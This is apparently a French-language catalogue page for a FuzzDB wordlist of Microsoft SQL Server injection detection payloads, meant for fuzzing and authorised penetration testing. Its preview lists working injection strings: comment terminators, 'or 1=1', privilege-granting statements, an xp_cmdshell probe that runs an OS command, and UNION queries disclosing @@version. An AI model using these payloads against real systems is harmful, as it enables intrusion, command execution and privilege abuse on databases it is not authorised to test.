FuzzDB MSSQL SQL Injection Detection
Charges utiles de détection d'injection Microsoft SQL Server comprenant des terminateurs de commentaires, des sondes xp_cmdshell et des tests de divulgation @@version basés sur UNION.
- Taille
- 448 B
- Catégorie
- Fuzzing
- Source
- fuzzdb-project/fuzzdb
- Licence
- GPLv2
- Outils recommandés
- sqlmapffufburp
Aperçu
Les 12 premières entrées. Téléchargez ou copiez la liste complète (448 B) avec les boutons ci-dessus.
; -- '; -- '); -- '; exec master..xp_cmdshell 'ping 10.10.1.2'-- ' grant connect to name; grant resource to name; -- ' or 1=1 -- ' union (select @@version) -- ' union (select NULL, (select @@version)) -- ' union (select NULL, NULL, (select @@version)) -- ' union (select NULL, NULL, NULL, (select @@version)) -- ' union (select NULL, NULL, NULL, NULL, (select @@version)) -- ' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) --
Charges utiles de détection d'injection Microsoft SQL Server comprenant des terminateurs de commentaires, des sondes xp_cmdshell et des tests de divulgation @@version basés sur UNION.
Cette liste est conçue pour le fuzzing d'entrées et la découverte de vulnérabilités. Elle pèse environ 448 B et se marie bien avec des outils tels que sqlmap, ffuf, burp. Choisissez la plus petite liste adaptée à votre mission : les listes plus courtes sont plus rapides et plus discrètes pour les attaques en ligne, tandis que les listes plus volumineuses offrent une couverture plus large pour le travail hors ligne, où la vitesse est une contrainte moindre.
Vous pouvez copier l'aperçu d'exemple directement depuis cette page, copier la liste entière dans
votre presse-papiers, ou télécharger le fichier .txt brut. La liste complète est servie directement
depuis sa source d'origine sur GitHub.
Provenant de fuzzdb-project/fuzzdb et distribuée sous licence GPLv2. N'utilisez les listes de mots que contre des systèmes que vous êtes explicitement autorisé à tester.